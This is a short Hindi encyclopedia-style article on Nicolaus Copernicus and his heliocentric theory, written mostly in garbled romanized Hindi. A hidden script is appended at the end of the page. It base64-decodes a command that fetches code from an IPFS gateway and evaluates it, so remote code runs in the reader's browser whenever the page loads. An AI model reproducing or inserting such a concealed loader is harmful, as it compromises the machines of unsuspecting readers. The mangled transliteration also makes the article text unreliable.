निकोलस कॉपरनिकस

thumb|250px|nikolas k aauparanikas nikolas k aauparanikas (janm- 19 faravari, 1473, polaind; mrityu- 24 mee, 1543) prasiddh yooropiy khagolashastri v ganitajn the. unako 'adhunik khagol vijnan ka sansthapak' mana jata hai. k aauparanikas ne hi sarvapratham yah kraantikari sootr diya tha ki prithvi aantariksh ke kendr mean nahian hai. unhoanne yah siddhaant diya ki sabhi grah soory ke charoan or ghoomate haian.

• san 1530 mean k aauparanikas ne apani rachana "di rivolyooshanibas' poori ki, jisamean kaha gaya tha ki prithvi apani dhuri par roz ek chakkar lagati hai aur soory ka chakkar lagane mean use ek varsh ka samay lagata hai.
• k aauparanikas ne yah nishkarsh kee varshoan ke adhyayan ke adhar par nikala tha, jabaki us samay tak doorabin ka avishkar bhi nahian hua tha.
• us samay pashchimi jagath mean yah manyata thi ki brahmand ek golakar band jagah hai, jisake pare kuchh nahian hai.
• sarvapratham k aauparanikas ne hi yah siddhaant diya ki sabhi grah soory ke charoan or ghoomate haian.
• k aauparanikas ne 'hiliyoseantrik siddhaant' pratipadit kiya, jisane siddh kiya ki brahmaand ke keandr mean soory hai aur sabhi grah lagatar usaka chakkar lagate rahate haian.
• is siddhaant se pahale aisa mana jata tha ki soory prithvi ka chakkar lagata hai. apane is siddhaant ke lie k aauparanikas ko shuroo mean kafi virodh jhelana p da, kyoanki tatkalin sabhi khagolashastri is ne vichar ke khilaf the.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>